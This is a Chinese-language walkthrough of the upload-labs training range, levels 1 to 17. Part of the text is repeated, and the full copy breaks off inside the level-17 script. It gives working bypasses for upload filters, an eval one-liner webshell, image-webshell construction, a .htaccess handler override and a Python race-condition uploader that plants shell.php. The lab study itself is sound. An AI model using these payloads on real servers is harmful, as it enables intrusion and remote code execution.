第五关在第四关的黑名单中又加进了.htaccess,所以上传.htaccess这个思路没戏了$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");可以看看过滤内容,过滤的还挺多,这里apache版本为2.4.23,所以apache文件名(x.php.xxx)解析漏洞不能在这用

并且在做该黑名单检查之前将上传文件后的.和空格字符都给删除了$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}这样做是为了防止用户上传是在后缀名后加上.和空格去绕过黑名单,windows在创建文件时会删除后缀名后的.和空格,并且后缀名为php.的文件也是可以当作php解析的(windows和linux环境都可以)

同时对文件名后缀名大小写写做了检查,防止大小写绕过

但是通过代码发现在黑名单检查之前处理文件名时只删除了一次.,于是可以上传一个后缀名为php. .的文件去绕过,这个在黑名单检查之前后缀名就会被处理为php.




可以看到成功绕过了上传检测










第六关

查看过滤代码$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}相对于第五关的过滤还少了一些,相同的黑名单,但是相比于第五关,这里仅仅删除了文件名后的.,并没有删除空格,所以可以上传一个后缀名为php+空格的文件去绕过黑名单,windows在创建文件时会自动删掉最后的空格





可以看到成功绕过这里的上传检测










第七关

第六关仅仅将文件名后面的点删除了,第七关则是仅仅将文件名后的空格给删除了,这里通过上传后缀名为php.的文件来绕过黑名单





成功绕过黑名单上传










第八关和第五关一样,虽然在黑名单检查之前将文件名后的.和空格给删除了,但是.只删除了一次,这里同样使用后缀名php. .去绕过第九关

一样的问题,所以继续用第八关的方法去绕过上传

第十关

尝试上传后缀名php的文件,看到可以上传成功,不过后缀名php被删除了





后缀名改为大写PHP上传,同样给删除了










猜想后台使用str_ireplace函数将文件后缀为黑名单的都给删除了,查看过滤代码确实如此$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}因为str_ireplace函数只做一次替换,所以使用pphphp后缀名就能绕过





可以看到成功上传php










第十一关

采用的防御手法是白名单过滤,只允许上传jpg、png和gif类型,并且将上传的文件给重命名为了白名单中的后缀$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}处理上传文件的方式$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;看起来这样防御并没有什么问题,但是这一关上传目录是可控的所以可以先上传一个后缀名为jpg,内容为一句话木马的文件,然后修改上传目录为.php后缀,之后在.php后使用截断后面的拼接内容,注意这里需要关掉magic_quotes_gpc这个php扩展,否则00会被转义$_GET['save_path']这里使用00截断."/".rand(10, 99).date("YmdHis").".".$file_ext;注意这里的00字符因为在url的GET参数中,所以需用进行url编码





通过这种方法就可以成功绕过十一关的上传检测










第十二关

同样是上传路径可以控制,不同的是这里的路径是以POST参数传递的,同样的这里在目录后面使用00截断















可以看到成功绕过上传










第十三关&第十四关&第十五关

任务和之前的不同,这里只需要成功上传图片马,并且图片马里有完整的webshell即可

对于第十三关第十四关和第十五关这三关都是对文件幻数进行了检测,只不过第十四关使用的是getimagesize函数,第十五关使用的是exif_imagetype函数,函数返回值内容不一样而已

要想突破文件幻数检测,首先要了解jpg、png、gif这三种文件的头部格式,每种类型的图片内容最开头会有一个标志性的头部,这个头部被称为文件幻数。

jpg文件头部格式





文件头值为FFD8FFE000104A464946 png文件头格式,网上大部分资料写的都是89504E47,但是经过我的测试,这四个16进制是仅仅不够的,如果只是89504E47的话,会使getimagesize函数和exif_imagetype函数报错















经过我的测试真正的文件头值应该是89504E470D0A1A0A





gif文件头格式






文件头值为474946383961经过测试,getimagesize函数和exif_imagetype函数都只是是对文件头进行检查,只要文件头部符合函数就会返回内容<?php
echo "check jpg</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("heishacker.jpg"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("heishacker.jpg"));
echo "</br>check png</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("mingren.png"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("mingren.png"));
echo "</br>check gif</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("xiangtian.gif"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("xiangtian.gif"));
?>




所以这几关都可以上传图片马,图片马的文件头就是正常图片的文件头格式,从而绕过图片幻数检测windows下图片马制作方式copy x.jpg|png|gif/b+x.php/a x.jpg|png|gif参数/b指定以二进制格式复制、合并文件(图片),参数/a指定以ASCII格式复制、合并文件(php文件),x.php文件里为要写的一句话木马这三关都可以成功上传图片马,并且里面有完整的一句话木马,但是有时候图片马里面的一些字符会使php报错,导致用文件包含或者解析漏洞去解析图片马中的php时导致解析不了,可以看到利用文件包含去解析三个图片马时均不能解析,哎,运气太差















而且有时候对文件大小也有限制,所以绕过文件幻数最合适的方式是利用16进制编辑器自己制作一个伪图片马,这里利用winhex分别创建shell.jpg、shell.png、shell.gif三个伪图片马















之后上传这三个伪图片马,这样不光可以上传成功,也可以利用文件包含漏洞或解析漏洞解析成功






























这三关均可以采用这种方式通关,第十五关需要在php配置文件中开启php的php_exif扩展





第十六关$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=$UPLOAD_ADDR.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}通过第十六关的php代码可以看到对文件后缀名和MIME类型进行了检查,而且用到了php的imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif这几个图片处理函数对上传的图片进行了二次渲染生成了新的图片,所以如果在这里上传的是一个普通的图片马,虽然图片马可以上传成功,但是上传的图片马在经过二次渲染后,图片尾部的php代码就会被删除掉,所以在这里不能使用直接在图片尾部添加一句话木马的方式去合成图片马。但是这一关的代码有一个明显的逻辑漏洞,如果这几个二次渲染函数处理的不是一个图片,就会使这几个函数报错,因为这几个二次渲染的函数只会去处理一个图片内部格式正确的图片,所以在这里只需要上传一个后缀名为jpg、png、gif的一句话木马,这样的话上传的一句话木马会绕过后缀名和MIME类型的检查,通过move_uploaded_file上传至服务器,但是遇到二次渲染时,由于上传的不是一个真正的图片,所以二次渲染函数在处理时会因为图片的内部格式报错,从而突破了对图片的二次渲染,这时候页面虽然会显示图片格式不允许,但是上传的一句话木马已经上传到了服务器

分别上传后缀名为jpg、png、gif的一句话木马,可以看到虽然上传的格式不允许,但是一句话马已经上传成功了















以上只是单单针对这道题,那么如何真正的使用图片马突破二次渲染呢?可以看到如果直接使用在图片添加一句话木马的图片马上传的话,在二次渲染后一句话会被删除,导致图片马不能利用按照一般的方法制作三种图片马





但是经过二次渲染后图片尾部的php代码均被删除

尝试制作可以真正突破二次渲染的函数,这里可以通过十六进制编辑器查看比较上传前后图片的十六进制 ,找到二次渲染前后十六进制内容没有改变的部分,尝试将图片马写到这些没有改变的部分自己对图片的16进制格式不是太理解,导致只制作出来了突破二次渲染的gif图片马,jpg和png都制作失败了,以后有时间再去研究










将相同的部分(全00)替换为一句话木马,运气比较好,图片并没有损坏,而且绕过了二次渲染,并且没有报php语法错误





但是jpg和png就不一样了,出现了很多问题,暂时还没有制作出真正图片二次渲染的jpg、png图片马
第十七关

要求上传一个webshell到服务器,提示需要代码审计,查看php源代码$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}通过php代码可以看到对上传的文件后缀做了白名单限制,如果上传的文件后缀如果不是jpg、png、gif的话就会被删除掉。但是这里可以使用竞争上传的方式去突破,同时使用多个进程去上传php文件,php文件的内容是向服务器目录下写一个webshell,之后不断去去访问上传的php文件,如果在删除该php文件之前访问到了该php文件,就会向服务器目录写一个webshell,用python去实现多进程上传#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url="http://192.168.242.128/upload-labs/Pass-17/index.php"
geturl="http://192.168.242.128/upload-labs/upload/info.php"
file={'upload_file':('info.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[ironman]);?>');?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
#print "test upload...."
r1=requests.get(url=geturl)
if r1.status_code==200:
print "upload success!"
if __name__=="__main__":
pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()可以看到通过多进程同时上传时可以成功在文件删除之前访问到该文件
在服务器目录下可以看到成功写入shell.php












未完待续
  查看全部

最近在圈子里看到的一个文件上传闯关靶场,一共有19关,趁着这个机会做一个教程,以下的内容只是自己的思路,绕过方法应该有很多种,欢迎大家一起交流,共同学习!

靶场环境
因为环境的不同导致上传的绕过方法也会不同,在这里说明我搭建的环境信息:1-18关,操作系统为windows,使用的phpstudy的集成环境,apache版本为2.4.23,所以apache2.2.x的解析漏洞在该环境下不管用,php版本为5.2.17,apache配置文件没有修改过,是默认的配置文件

第一关

0.png

第一关的上传过滤只是在客户端进行过滤的,js对文件后缀名做了白名单限制,任何前端的验证都不算是真正的验证,在这里我使用了4种方式去绕过,这些方法都是绕过前端验证的常用方法 1.firebug查看元素,将这里的表单的onsubmit事件删除,这样提交表单时便不会触发验证函数

0.png


0.png

再次上传php就能上传

0.png


0.png

2.firebug控制台重新写一个和过滤函数名字一样的函数,使函数return true,覆盖之前的检查函数

0.png


0.png

之后上传php也能上传成功

0.png

3.在火狐浏览器中禁用js,在地址栏输入about:config,查找javascript,将javascript.enabled的类型改为false,默认值为true

0.png

禁用了js后就能绕过前端检测上传php了
4.先上传允许的后缀名绕过前端检测,之后burp抓包,在发往服务端的过程中将后缀名再修改为php

0.png


0.png

从而绕过了前端验证

0.png

第二关

第二关是在服务端做了验证,代码层对文件的MIME类型进行了检查,为了方便理解原理,可以看一下后端的检查代码
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
有关这种场景的绕过方法,使用burp抓包,修改文件上传的content-type类型为白名单允许的图片MIME类型即可

0.png

然后就可以绕过检测上传成功了

0.png


0.png

第三关&第四关

第三关的本意其实是想上传一些后缀名为php、php2、php3、php5、phtml等文件去绕过黑名单的,但是apache的配置文件里并没有配置将这些后缀的文件当做php解析

0.png

第三关第四关都是黑名单检测,但是在这里黑名单里都没有对.htacess做限制,所以这两关都可以上传.htaccess去绕过,.htaccess文件的内容如下
<FilesMatch "tony">
SetHandler application/x-httpd-php
</FilesMatch>
我们将这样一个.htaccess文件上传到服务器上传目录,这样的话,当apache在解析该目录下的php时,就会按照.htaccess中的要求去解析,只要匹配到了文件名里有tony这个字符串,就会把该文件当成php文件解析首先上传这样的一个.htaccess文件

0.png

.htaccess可以上传成功

0.png

接着上传一个黑名单里没有过滤的随意后缀名文件,但是文件名里要有tony,上传一个tony.jpg,内容为一句话木马

0.png

上传成功,并且tony.jpg会被apache当成php文件解析

0.png


0.png

第四关也是同样的方法
第五关
第五关在第四关的黑名单中又加进了.htaccess,所以上传.htaccess这个思路没戏了
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
可以看看过滤内容,过滤的还挺多,这里apache版本为2.4.23,所以apache文件名(x.php.xxx)解析漏洞不能在这用

并且在做该黑名单检查之前将上传文件后的.和空格字符都给删除了
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
这样做是为了防止用户上传是在后缀名后加上.和空格去绕过黑名单,windows在创建文件时会删除后缀名后的.和空格,并且后缀名为php.的文件也是可以当作php解析的(windows和linux环境都可以)

同时对文件名后缀名大小写写做了检查,防止大小写绕过

但是通过代码发现在黑名单检查之前处理文件名时只删除了一次.,于是可以上传一个后缀名为php. .的文件去绕过,这个在黑名单检查之前后缀名就会被处理为php.

0.png

可以看到成功绕过了上传检测

0.png


0.png

第六关

查看过滤代码
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
相对于第五关的过滤还少了一些,相同的黑名单,但是相比于第五关,这里仅仅删除了文件名后的.,并没有删除空格,所以可以上传一个后缀名为php+空格的文件去绕过黑名单,windows在创建文件时会自动删掉最后的空格

0.png

可以看到成功绕过这里的上传检测

0.png


0.png

第七关

第六关仅仅将文件名后面的点删除了,第七关则是仅仅将文件名后的空格给删除了,这里通过上传后缀名为php.的文件来绕过黑名单

0.png

成功绕过黑名单上传

0.png


0.png

第八关
和第五关一样,虽然在黑名单检查之前将文件名后的.和空格给删除了,但是.只删除了一次,这里同样使用后缀名php. .去绕过
第九关

一样的问题,所以继续用第八关的方法去绕过上传

第十关

尝试上传后缀名php的文件,看到可以上传成功,不过后缀名php被删除了

0.png

后缀名改为大写PHP上传,同样给删除了

0.png


0.png

猜想后台使用str_ireplace函数将文件后缀为黑名单的都给删除了,查看过滤代码确实如此
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
因为str_ireplace函数只做一次替换,所以使用pphphp后缀名就能绕过

0.png

可以看到成功上传php

0.png


0.png

第十一关

采用的防御手法是白名单过滤,只允许上传jpg、png和gif类型,并且将上传的文件给重命名为了白名单中的后缀
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
处理上传文件的方式
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
看起来这样防御并没有什么问题,但是这一关上传目录是可控的所以可以先上传一个后缀名为jpg,内容为一句话木马的文件,然后修改上传目录为.php后缀,之后在.php后使用截断后面的拼接内容,注意这里需要关掉magic_quotes_gpc这个php扩展,否则00会被转义
$_GET['save_path']这里使用00截断."/".rand(10, 99).date("YmdHis").".".$file_ext;
注意这里的00字符因为在url的GET参数中,所以需用进行url编码

0.png

通过这种方法就可以成功绕过十一关的上传检测

0.png


0.png

第十二关

同样是上传路径可以控制,不同的是这里的路径是以POST参数传递的,同样的这里在目录后面使用00截断

0.png


0.png


0.png

可以看到成功绕过上传

0.png


0.png

第十三关&第十四关&第十五关

任务和之前的不同,这里只需要成功上传图片马,并且图片马里有完整的webshell即可

对于第十三关第十四关和第十五关这三关都是对文件幻数进行了检测,只不过第十四关使用的是getimagesize函数,第十五关使用的是exif_imagetype函数,函数返回值内容不一样而已

要想突破文件幻数检测,首先要了解jpg、png、gif这三种文件的头部格式,每种类型的图片内容最开头会有一个标志性的头部,这个头部被称为文件幻数。

jpg文件头部格式

0.png

文件头值为FFD8FFE000104A464946 png文件头格式,网上大部分资料写的都是89504E47,但是经过我的测试,这四个16进制是仅仅不够的,如果只是89504E47的话,会使getimagesize函数和exif_imagetype函数报错

0.png


0.png


0.png

经过我的测试真正的文件头值应该是89504E470D0A1A0A

0.png

gif文件头格式

0.png


文件头值为474946383961经过测试,getimagesize函数和exif_imagetype函数都只是是对文件头进行检查,只要文件头部符合函数就会返回内容
<?php
echo "check jpg</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("heishacker.jpg"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("heishacker.jpg"));
echo "</br>check png</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("mingren.png"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("mingren.png"));
echo "</br>check gif</br>";
echo "getimagesize function return:</br>";
var_dump(getimagesize("xiangtian.gif"));
echo "exif_imagetype function return:</br>";
var_dump(exif_imagetype("xiangtian.gif"));
?>

0.png

所以这几关都可以上传图片马,图片马的文件头就是正常图片的文件头格式,从而绕过图片幻数检测windows下图片马制作方式
copy x.jpg|png|gif/b+x.php/a x.jpg|png|gif
参数/b指定以二进制格式复制、合并文件(图片),参数/a指定以ASCII格式复制、合并文件(php文件),x.php文件里为要写的一句话木马这三关都可以成功上传图片马,并且里面有完整的一句话木马,但是有时候图片马里面的一些字符会使php报错,导致用文件包含或者解析漏洞去解析图片马中的php时导致解析不了,可以看到利用文件包含去解析三个图片马时均不能解析,哎,运气太差

0.png


0.png


0.png

而且有时候对文件大小也有限制,所以绕过文件幻数最合适的方式是利用16进制编辑器自己制作一个伪图片马,这里利用winhex分别创建shell.jpg、shell.png、shell.gif三个伪图片马

0.png


0.png


0.png

之后上传这三个伪图片马,这样不光可以上传成功,也可以利用文件包含漏洞或解析漏洞解析成功

0.png


0.png


0.png


0.png


0.png


0.png

这三关均可以采用这种方式通关,第十五关需要在php配置文件中开启php的php_exif扩展

0.png

第十六关
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=$UPLOAD_ADDR.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
通过第十六关的php代码可以看到对文件后缀名和MIME类型进行了检查,而且用到了php的imagecreatefromjpeg、imagecreatefrompng、imagecreatefromgif这几个图片处理函数对上传的图片进行了二次渲染生成了新的图片,所以如果在这里上传的是一个普通的图片马,虽然图片马可以上传成功,但是上传的图片马在经过二次渲染后,图片尾部的php代码就会被删除掉,所以在这里不能使用直接在图片尾部添加一句话木马的方式去合成图片马。但是这一关的代码有一个明显的逻辑漏洞,如果这几个二次渲染函数处理的不是一个图片,就会使这几个函数报错,因为这几个二次渲染的函数只会去处理一个图片内部格式正确的图片,所以在这里只需要上传一个后缀名为jpg、png、gif的一句话木马,这样的话上传的一句话木马会绕过后缀名和MIME类型的检查,通过move_uploaded_file上传至服务器,但是遇到二次渲染时,由于上传的不是一个真正的图片,所以二次渲染函数在处理时会因为图片的内部格式报错,从而突破了对图片的二次渲染,这时候页面虽然会显示图片格式不允许,但是上传的一句话木马已经上传到了服务器

分别上传后缀名为jpg、png、gif的一句话木马,可以看到虽然上传的格式不允许,但是一句话马已经上传成功了

1.png


1.png


1.png

以上只是单单针对这道题,那么如何真正的使用图片马突破二次渲染呢?可以看到如果直接使用在图片添加一句话木马的图片马上传的话,在二次渲染后一句话会被删除,导致图片马不能利用按照一般的方法制作三种图片马

1.png

但是经过二次渲染后图片尾部的php代码均被删除

尝试制作可以真正突破二次渲染的函数,这里可以通过十六进制编辑器查看比较上传前后图片的十六进制 ,找到二次渲染前后十六进制内容没有改变的部分,尝试将图片马写到这些没有改变的部分自己对图片的16进制格式不是太理解,导致只制作出来了突破二次渲染的gif图片马,jpg和png都制作失败了,以后有时间再去研究

1.png


1.png

将相同的部分(全00)替换为一句话木马,运气比较好,图片并没有损坏,而且绕过了二次渲染,并且没有报php语法错误

1.png

但是jpg和png就不一样了,出现了很多问题,暂时还没有制作出真正图片二次渲染的jpg、png图片马
第十七关

要求上传一个webshell到服务器,提示需要代码审计,查看php源代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}
通过php代码可以看到对上传的文件后缀做了白名单限制,如果上传的文件后缀如果不是jpg、png、gif的话就会被删除掉。但是这里可以使用竞争上传的方式去突破,同时使用多个进程去上传php文件,php文件的内容是向服务器目录下写一个webshell,之后不断去去访问上传的php文件,如果在删除该php文件之前访问到了该php文件,就会向服务器目录写一个webshell,用python去实现多进程上传
#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url="http://192.168.242.128/upload-labs/Pass-17/index.php"
geturl="http://192.168.242.128/upload-labs/upload/info.php"
file={'upload_file':('info.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[ironman]);?>');?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
#print "test upload...."
r1=requests.get(url=geturl)
if r1.status_code==200:
print "upload success!"
if __name__=="__main__":
